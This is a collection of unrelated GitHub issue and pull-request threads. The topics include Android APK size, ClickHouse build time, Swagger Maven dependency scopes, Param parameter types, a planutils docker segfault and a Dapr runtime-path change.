itemView.setOnClickListener(v -> listener.onPlaceSelected(place));
}

@mfarchana about the APK size - either use appbundle (AAB) or compile an APK for each CPU variant separately. The thing is, Yandex MapKit includes a native (.so) library, which needs to be separately compiled for each CPU architecture. Currently, you're including .so files for all architectures in your single APK file, while the user only needs one. AABs size will still be big, but Play Store will decrease the size of it by 60% or so by removing the unneeded parts. If you want to distribute outside of play store, different APKs for different CPU architectures is your choice.
AAB (recommended): https://medium.com/mindorks/android-app-bundle-6c65ce8105a1
Multiple APKs: https://developer.android.com/studio/build/configure-apk-splits#configure-abi-split

@mfarchana could you please send me your config and describe what's wrong in more detail? Thanks

@mfarchana pushed an update with that issue fixed, thanks. confirmation buttons are not supposed to be shown there at all, even with bool.show_confirmation_buttons set to true, because they are meant for the local businesses dropdown

Hallo again, i try click the current position its not showing permission dialog, so i must enabled it manually on app setting. how to solved it?

@mfarchana check the sample app. You must handle that yourself.


[CH] Build optimization

Is your feature request related to a problem or challenge? Please describe what you are trying to do.
Now, two problems:

building time long to 20mins,
libch.so size still big, about 300MB after strip and not compiling some useless third party libraries.

The reason is that clickhouse is first builded for standalone server not a library like velox, also this project have the same problems, https://github.com/chdb-io/chdb/issues/53.
Later, we may do some flags on clickhouse code to easily not compile some useless code, like mergetree* and contribute back to upstream.
Here is the ninjatracing result, details in attach file.

Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

cmake_build_trace_detailed.txt


Owner

what

Add owner

why

Add owner as organization is now deprecated.
Owner also allows non organizations

references
n/a
notes
It may be even better to remove the provider completely as providers can now be provided in the root module where this module is consumed.

/test all


Implement POC of Slack Shortcut to trigger the diagnostic info

Build a POC that can trigger the diagnostics bot using a message shortcut

In review #22


Learning Rate Decay in the CLI version

I am running a CLI version and I am trying to provide a list of learning rates to LightGBM but it reports an error when I do something like this:
learning_rate = 0.1,0.05,0.04,0.01
Is there any/better way to do this?
Many thanks!

Learning rate schedule is not supported in CLI version.


Package update thread

This issue will be updated whenever there's new releases of Git for Unity, and/or other announcements.
Latest release: 1.0.11

Latest release: 1.0.18


Use contribute_to_class in Bungiesearch Manager

Instead of using the __init__ constructor in managers.py, we should be using contribute_to_class. As I mentioned in a previous issue, if you use __init__, self.model will be Python None. As a result, non search related models will get hooked up to the signal processor, which could result in a series of errors if you have logic specific to search models inside your signal processor.
This is all I have for you... at least until I get back from vacation in a couple of weeks :)

I did not know that, thanks.


Should Swagger Core dependencies be declared with a specific scope?

Hi,
I'm currently integrating Swagger Core 2.X into a JAX-RS project following documentation provided in the wiki of this repo.
In the aforementioned docs, dependencies are always specified in the default Maven dependency scope (which should be compile), which "leaks" as a transitive dependency if the project is used as a dependency. Shouldn't it be declared as provided like many annotation libraries do, or is something also used at runtime?
I'm experiencing this problem also because, in this same project, I'm using also Apache Pulsar, which brings in the dependency to Swagger Core 1.5.X, and "old" annotations pop up in IDE autosuggestion because they are actually in the classpath.
Can having both versions generate conflicts?

Hi,
I am not sure which dependencies you refer to, can you share some more details?
About depending on both swagger 1.5 and 2.0, this is supported, there are indeed possible dep version clashes but that shouldn't break anything, and having "old" annotation in autosuggestion is not really solvable if you need Swagger 1.X; if that is not the case, and assuming Pulsar doesn't break, you can exclude swagger-core 1.x artifacts from Pulsar dependency

Hi,

I am not sure which dependencies you refer to, can you share some more details?

the dependencies of Swagger 2 that I'm talking about are the one specified in both the Swagger 2.X Integration and Configuration wiki page and the swagger-maven-plugin readme:
  <dependencies>
    ...
    <dependency>
      <groupId>io.swagger.core.v3</groupId>
      <artifactId>swagger-jaxrs2</artifactId>
      <version>2.1.2</version>
    </dependency>
    <dependency>
      <groupId>io.swagger.core.v3</groupId>
      <artifactId>swagger-jaxrs2-servlet-initializer-v2</artifactId>
      <version>2.1.2</version>
    </dependency>
  </dependencies>

Shouldn't at least io.swagger.core.v3:swagger-jaxrs2 be in the provided scope? Or am I missing something?

About depending on both swagger 1.5 and 2.0, this is supported, there are indeed possible dep version clashes but that shouldn't break anything, and having "old" annotation in autosuggestion is not really solvable if you need Swagger 1.X;
if that is not the case, and assuming Pulsar doesn't break, you can exclude swagger-core 1.x artifacts from Pulsar dependency

That's great to know! I don't really need Swagger 1.X, so I will probably exclude io.swagger:swagger-annotations and io.swagger:swagger-core if they are not necessary for the library to work (maybe I will open an issue to them about this).


Support parameters used in machine learning and AI

Context
I have been trying to understand why I don't see a lot of adoption of Param and Panel for Machine Learning and AI.
I have looked at Gradio that create interfaces for models. And from that I believe that some Parameters are missing from Param. Gradio takes the approach of annotating your model with input widgets. From the input widgets the parameter types are inferred. That is the opposite of what Param/ Panel does.
Summary
If I take a look at the inputs of Gradio I believe the following could be missing from param

Image
Video
Audio
File

Analysis

class MyModel(param.Parameterized):
    textbox = param.String()
    number = param.Number()
    slider = param.Number()
    checkbox = param.Boolean()
    checkboxgroup = param.Selector()
    radio = param.Selector()
    dropdown = param.Selector()
    image = param.Image() # Does not exist
    video = param.Video() # Does not exist
    audio = param.Audio() # Does not exist
    file = param.File() # Does not exist
    dataframe = param.DataFrame()
    timeseries = param.TimeSeries() # Does not exist

Additional Context
Panel
In Panel we are then lacking the drag and drop inputs for Image, Video, Audio and File that displays the things that is dropped onto the input.

Interface
I am considering how we can make it as easy and powerful to create model interfaces with Panel as it is with Gradio. One approach is to get very inspired by its interface api. Another approach would be to stick to a Param/ Panel approach but make it as easy to use as possible.

Gradio takes the approach of annotating your model with input widgets. From the input widgets the parameter types are inferred. That is the opposite of what Param/ Panel does.

Yes, that does sound backwards; a given model might or might not need widgets, but it always has parameters, so inferring parameters from widgets seems odd.

Image
Video
Audio

It seems to me that Image, Video, and Audio are underspecified; there can be many such objects, with as far as I know no standard Python representation or type. But it does seem like they are useful types to support, as long as (a) they avoid adding dependencies by using inline imports like in param.DataFrame, (b) they have corresponding widgets in a library like Panel that makes it clear how they could be specified by a user, and (c) they have some usable Python type that is appropriate to work with.  So to add them to Param, I'd want to see a full application using them (even if it's fairly trivial) that connects the docs and thus pins down aspects of the behavior that are otherwise unconstrained.

File

Here you're making a distinction between a file and a filename or path, given that filenames are already supported? Presumably this is a Python file object? If so, sure, particularly if an HTML file requestor can return not just the name but the underlying object.

TimeSeries

Is this a subtype of param.DataFrame where the index is known to be time? If so, that seems fine as a subclass of param.DataFrame.


fix Remove fs/benchmark/fs_benchmark_tool.cpp in IO_FILES

Proposed changes
Remove fs/benchmark/fs_benchmark_tool.cpp which contains main function in IO_FILES
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall

run buildall

run buildall


feat: Add store, indexer, extractor and loader to QGB

Adds a basic implementation for an in memory store, a transactions' parser, an indexer, an extractor and a loader to QGB.
This stuff is still not used, other subsequent PRs will make use of them. This is just trying to have smaller PRs instead of a giant, big one containing the whole new design.
Adds to https://github.com/celestiaorg/celestia-app/issues/684

Codecov Report

:exclamation: No coverage uploaded for pull request base (qgb_orchestrator_relayer@4a91471). Click here to learn what that means.
The diff coverage is n/a.

@@                     Coverage Diff                     @@
##             qgb_orchestrator_relayer     #857   +/-   ##
===========================================================
  Coverage                            ?   24.24%
===========================================================
  Files                               ?       82
  Lines                               ?     9859
  Branches                            ?        0
===========================================================
  Hits                                ?     2390
  Misses                              ?     7242
  Partials                            ?      227

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

@rootulp When you have time, please, take a look and see if everything is alright from your side to approve so I can merge :D Thanks


Feature: Setup drip cron for populating the supabase

Type of feature
🍕 Feature
Current behavior
The current GitHub Actions runs only on demand because it is very expensive (40 mins+).
Suggested solution
Per @0-vortex, we can set this up with a checked.json and perform the check on a limited amount of users per hour.
Additional context
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

.take

.take

Works 🙌


use error : no job control in this shell\n/root/.planutils/packages/downward/run: line 3:    26 Segmentation fault      singularity run -e $

I use VM about Ubuntu20 and docker build method. After i make it successfully, i try to solve PDDL in vscode, but it report this error. I do not understand why this is.

Are you running the docker in --privileged mode?

Are you running the docker in --privileged mode?
I find the setting of privileged mode in docker-compose.yml and it was set as true. And i have no extra configuration.

Are you running the docker in --privileged mode?

I check the modes of the four docker containers running using the [docker inspect --format='{{.hostconfig.privileged}}'] command, where server_web_1 and server_worker_1 are true. server_monitor_1 and server_redis_1 are false.

Hrmz...must be something else internally. I'd suggest perhaps running the planutils lightweight server instead: https://github.com/AI-Planning/planutils/tree/main/environments/server

Thank you, I will try.

Hrmz...must be something else internally. I'd suggest perhaps running the planutils lightweight server instead: https://github.com/AI-Planning/planutils/tree/main/environments/server

I'm sorry, after i installed the planutils lightweight server, I don't know how can i use it (/(ㄒoㄒ)/~~). I cant't find the bash file for lama or other solver in my host machine, can it only be used in docker?

The server script is set up that way, ya. You don't have access to docker to run it?

The server script is set up that way, ya. You don't have access to docker to run it?

No, I‘m sorry i didn't make that clear. docker service is running, but i want to use vscode'PDDL plugin, Using 'localhost:5001/package/optic/solve' as planning engine but it failed and prompt "socket hang up".

Can you post what the browser shows for localhost:5001/packages and localhost:5001/package/optic?

If heading to those URL's is giving nothing, then the server isn't even accessible. Either not running properly, or network issues as you hypothesized. My money's on the network config for your machine too ;).

If heading to those URL's is giving nothing, then the server isn't even accessible. Either not running properly, or network issues as you hypothesized. My money's on the network config for your machine too ;).

Thank you for your suggestion, but I‘m sorry, I don't understand what you mean by the last sentence. Why? X﹏X

I don't understand what you mean by the last sentence. Why?

Oh, just meant that my first hunch would be something funny going on with the port mapping (it's usually what breaks first when running servers via docker).

Any update on this, @kk-Aye ?

Any update on this, @kk-Aye ?

I'm sorry. I'm busy writing papers and exams afterwards. Virtual machine configuration is not progressing. I will continue the configuration under the virtual machine after the paper is passed. If you need, I can close this issue, and then I will open the issue when I make some progress.

Ya, let's close for now -- we're in the midst of launching the webserver equivalent (being demo'd at the ICAPS conference this summer), so that might make the issue a non-starter anyway. Hope the exams go well!


Reduce Datastore index fanout.

Redefine composite indexes to rely on zig zag merge for queries.
This results in O(version + package) indexes instead of
O(version x package) indexes per vulnerability.
Also fix a bug with querying by package+version on rare vulnerabilities
with multiple different packages.
Previously we were incorrectly returning matches if a query matches any
listed package and any listed version. Now we filter to make sure the
version actually matches the package.
Fixes #315.

TBR


Fix runtime custom path installation logic

Description
Fix custom path installation logic.
Always install inside .dapr folder in the given input folder.
Added UTs for the same.
On uninstall only uninstall .dapr folder from the given input folder.
Custom path installation logic is init check, version check, run command check, uninstall check in order for 3 scenarios.

--runtime-path flag is given
DAPR_RUNTIME_PATH env var is given
Both flag and env var are given

Modified E2E.
Fixed Version flag to work with --runtime-path flag and also version command to work with --runtime-path flag.
Modified Version E2E to check right output of version (edge for CLI and pinned version for runtime).
Added version command E2E for --runtime-path(as stated above).
related to https://github.com/dapr/cli/issues/1056
Issue reference
We strive to have all PR being opened based on an issue, where the problem or feature have been discussed prior to implementation.
Please reference the issue this PR will close: endgame
Checklist
Please make sure you've completed the relevant tasks for this PR, out of the following list:

[x] Code compiles correctly
[x] Created/updated tests
[x] Extended the documentation

@artursouza @yaron2 @berndverst Based on the offline sync renamed the following

daprPath -> runtimePath in yaml
daprPath -> daprRuntimePath vars
GetDaprPath -> GetDaprRuntimePath for method
--dapr-path -> --runtime-path flag
DAPR_PATH -> DAPR_RUNTIME_PATH env var

All the minor nits will be done as a separate part of another PR.


Full Screen share influenced by scene darkness

Hi! first tanks for the module, I use it a lot!
But I have a issue, in full screen sharing, at least immersive mode, the darkness of the scene interfere with the darkness of the image...
Can this be corrected to always show the image clearly?
I have add a print to show the difference.
Tks
Erich
   darkness level 100%  (1)
   darkness level 0%  (0)

Hello,
There is a setting for that exact purpose 😸

Wow!  really sorry!  my mistake!


Create ClearDB UX on portal.azure.com for custom asp.net provider post

Issues with Existing Topics
Create ClearDB UX is different, because classic portal no longer available, instead in a documentation should be portal.azure.com UX
https://docs.microsoft.com/en-us/aspnet/identity/overview/extensibility/implementing-a-custom-mysql-aspnet-identity-storage-provider
@raquelsa @suhasj @tfitzmac

Closing this one, as 6241 is the same https://github.com/aspnet/Docs/issues/6241

@rachelappel  not agree. one issue- one article. Look on the links in the end of each issue.
I don't think that fixing 2 post in the same issue- will a good idea.

@SychevIgor I see now. My mistake, they looked the same. It's early here. :D Reopening.

Will be nice to finally make this update.


Add missing Gson dep

Adds Gson since it is used in our impl but it has so far only been imported transitively.
@shobhitagarwal1612 PTAL?

Codecov Report

Merging #1380 (4228cc1) into master (db3ea39) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master    #1380   +/-   ##
=========================================
  Coverage     31.32%   31.32%
  Complexity      927      927
=========================================
  Files           313      313
  Lines          7543     7543
  Branches        473      473
=========================================
  Hits           2363     2363
  Misses         5023     5023
  Partials        157      157

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Is there a MemoryInterop example with C++

I generate .wasm from cpp with emcc , pass malloc address to java, but can not read value by ByteBuffer, also can not modify value by ByteBuffer when read value in c++ later. By the way, when pass const char* address to java, can read value correctly.

wasm module/runtime can read/write from/to linear memory only https://wasmbyexample.dev/examples/webassembly-linear-memory/webassembly-linear-memory.rust.en-us.html so maybe the address you're passing around isn't valid in that regard.
Anyway, without more information provided there's too many possibilities to guess. One thing you can do is to try running your wasm module using wasmtime command directly, and if it still fails that is a problem of either wasntime runtime or your compiled wasm module.